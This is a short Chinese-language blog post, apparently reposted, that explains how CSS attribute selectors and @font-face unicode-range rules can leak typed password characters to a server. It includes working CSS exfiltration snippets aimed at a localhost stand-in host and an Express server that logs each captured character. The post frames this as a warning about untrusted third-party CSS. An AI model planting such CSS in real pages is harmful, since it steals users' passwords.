简单的 CSS 代码, 甚至不符合图灵完备的语言, 但是也能成为一些攻击者的工具, 下面简单介绍一下如何使用 CSS 去记录用户的密码但是这些 CSS 脚本会出现在第三方 CSS 库中, 所以使用第三方 CSS 库也需要谨慎, 确保代码安全
直接上代码解析:
- input[type="password"][value$="0"] {
- background-image: url("http://localhost:3000/0");
- }
- input[type="password"][value$="1"] {
- background-image: url("http://localhost:3000/1");
- }
- input[type="password"][value$="2"] {
- background-image: url("http://localhost:3000/2");
- }
以上是部分代码, 我们来解析一下 CSS 代码
input[type="password"]
是 css 选择器, 作用是选择密码输入框,[value$="0"] 表示匹配输入的值是以 0 结尾的
所以:
- input[type="password"][value$="0"] {
- background-image: url("http://localhost:3000/0");
- }
上面代码的意思就是如果你在密码框中输入 0, 就去请求
http://localhost:3000/0
接口, 但是浏览器默认情况下是不会将用户输入的值存储在 value 属性中, 但是有的框架会同步这些值, 例如 React
所以只要使用了如下图的脚本就能去存储用户的输入数据信息
我们再来看一下服务器端的代码:
- const express = require("express");
- const app = express();
- app.get("/:key", (req, res) => {
- process.stdout.write(req.params.key);
- return res.sendStatus(400);
- });
- app.listen(3000, () => console.log("启动, 监听 3000 端口"));
使用 express 创建服务器, 监听 3000 端口, 只要请求
http://localhost:3000/:key
, 就能输出 key 的值, 就能在服务器上记录输入的值
所以只要在每输入一个值都匹配, 然后通过 background-image 去请求一个已经准备好的接口, 就能记录用户的输入
类似的方法记录用户的内容的 CSS 代码
- @font-face {
- font-family: blah;
- src: url('http://localhost:3000/a') format('woff');
- unicode-range: U+85;
- }
- html {
- font-family: blah, sans-serif;
- }
你使用的的 css 的简单的字体库, 只要你的页面中包含 a, 就会去请求 http://localhost:3000/a, 这样就能知道你的页面中包含有 a 字符
来源: https://juejin.im/post/5a9defe7f265da2384401617